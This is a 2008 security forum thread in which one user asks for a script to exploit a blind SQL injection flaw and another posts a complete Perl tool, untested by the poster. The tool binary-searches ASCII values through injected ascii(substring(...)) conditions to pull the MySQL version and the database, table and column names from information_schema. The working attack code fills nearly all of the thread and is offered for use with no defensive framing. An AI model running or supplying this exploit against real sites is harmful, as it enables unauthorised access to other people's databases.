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Full disclosure |
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IT Security and Insecurity Portal |
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( Script ) SQL injection Blind ? |
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 Posted: Tue Apr 08, 2008 11:59 am |
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| w0rm |
| Active user |
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| Joined: Feb 22, 2008 |
| Posts: 49 |
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Hi  some one can help me , i need a script perl or php to exploite a Vulnerbility SQL injection Blind , and Show all Tables Name and Columns Name ?? , thanks for any help ... |
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| Posted: Wed Apr 09, 2008 12:52 pm |
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| waraxe |
| Site admin |
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| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
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| Posted: Tue Jul 15, 2008 7:42 pm |
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| faka |
| Regular user |
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| Joined: Nov 20, 2007 |
| Posts: 7 |
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| Quote: | #!/usr/bin/perl
# Critical Security, 2006 (http://www.critical.lt)
$|=1;
use LWP::UserAgent;
use Getopt::Std;
use Switch;
print "\n+----------------------------------------------+\n";
print "| Critical Security mysql5 db enumeration tool |\n";
print "+----------------------------------------------+\n\n";
getopts('u:vr:ed:t:', \%opts);
$url=$opts{u};
$version=$opts{v}||0;
$regexp=$opts{r};
$enum=$opts{e}||0;
$db=$opts{d};
$tb=$opts{t};
$min=33;
$max=126;
$num=1;
$limit=0;
if($url&&$regexp&&$version) {checkversion();}
elsif($url&&$regexp&&$enum) {enumdb();}
elsif($url&&$regexp&&$db&&$tb) {enumcolumns();}
elsif($url&&$regexp&&$db) {enumtables();}
else {
print "Usage: $0 -u url -r regexp [-v] [-e] -d [dbname] -t [table]\n\n";
print "-u url -blind sql injection url\n";
print "-r regexp -perl regular expression\n";
print "-v -get mysql version\n";
print "-e -get dbs list\n";
print "-d db name -get tables list\n";
print "-t table name -get columns list\n\n";
exit();}
sub checkversion()
{
$func="version";
while(1){
found($min,$max);
if ($char=="0") {print "Mysql version:\n\n$ver\n\n[DONE]\n";exit();}
else {
$ver.=chr($char);
}
$num++;
}
}
sub enumdb()
{
$func="database";
print "Databases:\n\n";
while(1){
found($min,$max);
if ($char=="0") {
if (!$ver){last}
else{print "$ver\n";$ver="";$num=0;$limit++;}
}
else {
$ver.=chr($char);
}
$num++;
}
print "\n[DONE]\n";
exit();
}
sub enumtables()
{
$func="table";
print "$db tables:\n\n";
$db =~ s/([\x21-\x7e]{1})/ord($1).","/ge;
chop($db);
while(1){
found($min,$max);
if ($char=="0") {
if (!$ver){last}
else{print "$ver\n";$ver="";$num=0;$limit++;}
}
else {
$ver.=chr($char);
}
$num++;
}
print "\n[DONE]\n";
exit();
}
sub enumcolumns()
{
$func="column";
print "$db.$tb columns:\n\n";
$db =~ s/([\x21-\x7e]{1})/ord($1).","/ge;
chop($db);
$tb =~ s/([\x21-\x7e]{1})/ord($1).","/ge;
chop($tb);
while(1){
found($min,$max);
if ($char=="0") {
if (!$ver){last}
else{print "$ver\n";$ver="";$num=0;$limit++;}
}
else {
$ver.=chr($char);
}
$num++;
}
print "\n[DONE]\n";
exit();
}
sub found()
{
($fmin,$fmax)=@_;
if (($fmax-$fmin)<5) { $char=&crack($fmin,$fmax);return $char;}
$r = int($fmax - ($fmax-$fmin)/2);
$check = ">$r";
if ( &check($check) ) {&found($r,$fmax);} else {&found($fmin,$r+1);}
}
sub crack()
{
($cmin,$cmax)=@_;
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) {return $i;}
$i++;
}
return;
}
sub check()
{
($exp)=@_;
if($func eq "version"){$query = $url." and ascii(substring(version(),".$num.",1))".$exp;}
elsif($func eq "database"){$query = $url." and ascii(substring((select schema_name from information_schema.schemata limit ".$limit.",1),".$num.",1))".$exp;}
elsif($func eq "table"){$query = $url." and ascii(substring((select table_name from information_schema.tables where table_schema=char($db) limit ".$limit.",1),".$num.",1))".$exp;}
elsif($func eq "column"){$query = $url." and ascii(substring((select column_name from information_schema.columns where table_schema=char($db) and table_name=char($tb) limit ".$limit.",1),".$num.",1))".$exp;}
else {exit();}
$conn = LWP::UserAgent->new() or die;
$res = $conn->get($query);
@data = $res->content;
foreach $result(@data)
{
if ($result =~ /$regexp/) { return 1; }
}
return 0;
}
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I did not test it and dont know or working! |
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